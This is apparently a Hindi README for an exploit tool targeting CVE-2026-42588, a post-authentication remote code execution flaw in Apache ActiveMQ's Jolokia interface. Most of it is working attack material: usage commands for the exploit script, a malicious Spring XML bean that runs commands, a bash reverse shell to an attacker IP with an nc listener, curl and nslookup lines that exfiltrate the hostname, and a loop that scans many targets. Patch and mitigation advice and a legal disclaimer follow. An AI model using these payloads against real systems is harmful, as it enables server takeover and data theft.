
CVE-2026-42588 - Apache ActiveMQ Jolokia दूरस्थ कोड निष्पादन भेद्यता शोषण (RCE Exploit)
गंभीरता स्तर: 🔴 उच्च जोखिम (CVSS 4.0: 8.1)
भेद्यता प्रकार: CWE-94 — कोड इंजेक्शन
प्रभावित संस्करण: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ संस्करण < 6.2.6
शोषण के लिए आवश्यक: Web Console प्रमाणीकरण क्रेडेंशियल्स आवश्यक (डिफ़ॉल्टadmin:admin)
CVE-2026-42588 Apache ActiveMQ में एक पोस्ट-प्रमाणीकरण दूरस्थ कोड निष्पादन (RCE) भेद्यता है।
हमलावर, Web Console प्रमाणीकरण क्रेडेंशियल्स रखते हुए, Jolokia JMX-HTTP ब्रिज इंटरफ़ेस (/api/jolokia/) के माध्यम से BrokerService.addNetworkConnector(String) विधि को कॉल करता है, एक सावधानीपूर्वक निर्मित masterslave:// डिस्कवरी URI पास करता है, और xbean: प्रोटोकॉल का उपयोग करके एक दूरस्थ Spring XML कॉन्फ़िगरेशन फ़ाइल लोड करता है, अंततः ActiveMQ Broker के JVM में मनमाना सिस्टम कमांड निष्पादित करता है।
/api/jolokia/ (Jolokia JMX-HTTP ब्रिज)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://हमलावर/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring सभी सिंगलटन बीन्स को पूर्व-इंस्टेंशिएट करता है → Runtime.exec() / ProcessBuilder को ट्रिगर करता है
│
▼
🚨 दूरस्थ कोड निष्पादन (RCE)
/api/jolokia/ इंटरफ़ेस हमलावर के लिए सुलभ है (डिफ़ॉल्ट पोर्ट 8161)admin:admin).
├── CVE-2026-42588_EXP.py # भेद्यता शोषण स्क्रिप्ट (कोर)
├── malicious.xml # दुर्भावनापूर्ण Spring XML टेम्पलेट
├── requirements.txt # Python निर्भरताएँ
└── README.md # यह फ़ाइल
| फ़ाइल | उपयोग |
|---|---|
CVE-2026-42588_EXP.py | Python भेद्यता शोषण स्क्रिप्ट, जाँच मोड (--check-only) और XML जनरेशन मोड (--gen-xml) का समर्थन करती है |
malicious.xml | दुर्भावनापूर्ण Spring XML कॉन्फ़िगरेशन टेम्पलेट, जिसमें Runtime.exec() और ProcessBuilder दोनों शोषण विधियाँ शामिल हैं |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
हमलावर मशीन पर HTTP सेवा शुरू करें:
python3 -m http.server 8080
# डिफ़ॉल्ट क्रेडेंशियल admin/admin का उपयोग करें
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# कस्टम क्रेडेंशियल का उपयोग करें
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
विकल्प:
-u, --url लक्ष्य ActiveMQ URL (जैसे http://192.168.1.100:8161)
-U, --username Web Console उपयोगकर्ता नाम (डिफ़ॉल्ट: admin)
-P, --password Web Console पासवर्ड (डिफ़ॉल्ट: admin)
-x, --xml-url दुर्भावनापूर्ण Spring XML फ़ाइल का दूरस्थ URL
--check-only केवल Jolokia इंटरफ़ेस पहुंच की जाँच करें
--gen-xml दुर्भावनापूर्ण XML फ़ाइल उत्पन्न करें और stdout पर आउटपुट करें
-c, --command लक्ष्य पर निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: touch /tmp/activemq_pwned)
--timeout HTTP अनुरोध टाइमआउट सेकंड (डिफ़ॉल्ट: 30)
--no-verify SSL प्रमाणपत्र सत्यापन अक्षम करें
1. हमलावर मशीन पर दुर्भावनापूर्ण XML उत्पन्न करें:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. XML होस्ट करें और सुनना शुरू करें:
# टर्मिनल 1: HTTP सेवा
python3 -m http.server 8080
# टर्मिनल 2: nc सुनना
nc -lvnp 4444
3. भेद्यता ट्रिगर करें:
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. Windows संस्करण का दुर्भावनापूर्ण XML उत्पन्न करें:
malicious.xml में ProcessBuilder के कमांड को इस प्रकार बदलें:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. होस्ट करें और निष्पादित करें:
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
# बैच जाँच
for ip in $(cat targets.txt); do
echo "=== Testing $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-42588 हमला श्रृंखला │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ① हमलावर ⑤ ActiveMQ Broker (JVM) │
│ ┌──────────┐ ┌──────────────────────────┐ │
│ │ EXP स्क्रिप्ट │──── ② HTTP POST ───────▶│ /api/jolokia/ │ │
│ │ │ Jolokia exec() │ │ │
│ │ │ Basic Auth │ BrokerService. │ │
│ │ │ │ addNetworkConnector( │ │
│ │ │ │ "masterslave://? │ │
│ │ │ │ brokerConfig= │ │
│ │ │ │ xbean:http://... │ │
│ │ │ │ /malicious.xml" │ │
│ └──────────┘ │ ) │ │
│ │ └────────┬─────────────────┘ │
│ │ │ │
│ │ ③ HTTP GET ▼ │
│ │ ┌──────────────────────┐ ┌────────────────────────────┐ │
│ └─▶│ हमलावर HTTP सर्वर │ │ ResourceXmlApplication │ │
│ │ (python http.server) │ │ Context दूरस्थ XML लोड │ │
│ │ │ │ करता है │ │
│ │ malicious.xml │ │ │ │
│ └──────────────────────┘ │ Spring पूर्व-इंस्टेंशिएट │ │
│ │ करता है Bean ➡️ │ │
│ │ Runtime.exec() / │ │
│ │ ProcessBuilder.start() │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 🚨 RCE सफल 🚨 │ │
│ └────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
चूंकि कमांड निष्पादन Spring XML पार्सिंग चरण के दौरान अतुल्यकालिक रूप से होता है, HTTP प्रतिक्रिया में सीधे निष्पादन परिणाम नहीं दिख सकता है। निम्नलिखित तरीकों से सत्यापन सुझाया गया है:
# हमलावर मशीन
nc -lvnp 4444
# कमांड में nslookup या curl का उपयोग करें
nslookup $(hostname).your-dns-server.com
# लक्ष्य पर फ़्लैग फ़ाइल जाँचें
ls -la /tmp/activemq_pwned
# दुर्भावनापूर्ण XML में उपयोग करें
curl http://your-server:8888/$(hostname)
# साथ ही हमलावर मशीन पर सुनें
nc -lvnp 8888
| संस्करण लाइन | अपग्रेड करें |
|---|---|
| 5.x श्रृंखला | 5.19.7 या उच्चतर |
| 6.x श्रृंखला | 6.2.6 या उच्चतर |
डाउनलोड पता: https://activemq.apache.org/download
पैच घोषणा: https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm
यदि तुरंत अपग्रेड करना संभव नहीं है, तो निम्नलिखित उपाय जोखिम कम कर सकते हैं:
conf/jetty.xml में /api/jolokia/ को केवल स्थानीय पहुंच तक सीमित करें, या फ़ायरवॉल/रिवर्स प्रॉक्सी के माध्यम से IP श्वेतसूची बनाएं।
conf/jolokia-access.xml संपादित करें, org.apache.activemq:* MBean पर exec ऑपरेशन प्रतिबंधित करें:
<restrict>
<mbean>
<name>org.apache.activemq:*</name>
<operation>!exec</operation>
</mbean>
</restrict>
conf/jetty-realm.properties संपादित करें, डिफ़ॉल्ट admin: admin, admin को मजबूत पासवर्ड से बदलें।
conf/jetty.xml में Web Console से संबंधित Context कॉन्फ़िगरेशन को टिप्पणी करें।
उत्तर: हाँ, ActiveMQ Web Console के वैध क्रेडेंशियल्स आवश्यक हैं। लेकिन डिफ़ॉल्ट क्रेडेंशियल admin/admin है, और वास्तविक वातावरण में कई सिस्टम डिफ़ॉल्ट पासवर्ड नहीं बदलते हैं, इसलिए जोखिम अभी भी उच्च है।
उत्तर: यह सामान्य है। कमांड निष्पादन अतुल्यकालिक है, Spring XML पार्सिंग चरण के दौरान होता है। सत्यापन के लिए रिवर्स शेल, DNS आउट-ऑफ-बैंड आदि का उपयोग करें। विस्तृत जानकारी के लिए शोषण सफलता सत्यापित करें देखें।
उत्तर: हाँ। malicious.xml में कमांड को /bin/sh -c से cmd.exe /c में बदलें, और कमांड सिंटैक्स को Windows शैली में समायोजित करें।
उत्तर: जाँच मोड केवल यह पुष्टि करता है कि Jolokia इंटरफ़ेस सुलभ है या नहीं (भेद्यता शोषण के लिए आवश्यक शर्त)। इंटरफ़ेस सुलभ होने का मतलब यह नहीं है कि यह निश्चित रूप से शोषण योग्य है, लेकिन शोषण की संभावना मौजूद है।
उत्तर: नहीं। 5.19.7+ या 6.2.6+ में अपग्रेड करने के बाद, brokerConfig पैरामीटर की पार्सिंग लॉजिक ठीक कर दी गई है, और xbean: स्कीम स्वीकार नहीं की जाती है।
⚠️ यह उपकरण केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए है!
- बिना अधिकार के सिस्टम तक पहुँचने के लिए इस उपकरण का उपयोग करना अवैध है
- उपयोगकर्ता इस उपकरण के उपयोग से होने वाले सभी परिणामों और जिम्मेदारियों को स्वयं वहन करेगा
- लेखक किसी भी अनधिकृत उपयोग, दुरुपयोग या उससे होने वाले नुकसान के लिए जिम्मेदार नहीं है
- इस उपकरण का उपयोग केवल अपने स्वयं के सिस्टम या लिखित प्राधिकरण वाले सिस्टम पर करें
- स्थानीय कानूनों, विनियमों और पेशेवर आचार संहिता का पालन करें
CVE-2026-42588 — केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए
| चरण | विवरण |
|---|
| Jolokia एक्सपोज़र | ActiveMQ Web Console डिफ़ॉल्ट रूप से /api/jolokia/ को एक्सपोज़ करता है, org.apache.activemq:* MBean पर exec ऑपरेशन की अनुमति देता है |
| खतरनाक विधि | BrokerService.addNetworkConnector(String) एक डिस्कवरी URI प्राप्त करता है और उसे पार्स करता है |
| URI ट्रिगर श्रृंखला | masterslave:// प्रोटोकॉल का brokerConfig पैरामीटर नियंत्रणीय है, xbean: स्कीम के साथ Spring संदर्भ लोडिंग को ट्रिगर करता है |
| RCE ट्रिगर बिंदु | XBeanBrokerFactory ResourceXmlApplicationContext का उपयोग करके दूरस्थ XML लोड करता है, Spring कॉन्फ़िगरेशन सत्यापन से पहले सभी सिंगलटन बीन्स को इंस्टेंशिएट करता है |
| संस्करण सीमा | स्थिति |
|---|
| Apache ActiveMQ < 5.19.7 | ❌ प्रभावित |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ प्रभावित |
| Apache ActiveMQ ≥ 5.19.7 | ✅ ठीक किया गया |
| Apache ActiveMQ ≥ 6.2.6 | ✅ ठीक किया गया |
| स्रोत | लिंक |
|---|
| भेद्यता डेटाबेस (CVE Detail) | https://www.cybersecurity-help.cz/vdb/vulns/133395/ |
| Antiy भेद्यता घोषणा | https://bbs.antiy.cn/thread-210844-1-1.html |
| DDPOC भेद्यता विवरण | https://ddpoc.com/DVB-2026-11290.html |
| Apache ActiveMQ आधिकारिक | https://activemq.apache.org/ |
| Apache सुरक्षा घोषणा | https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm |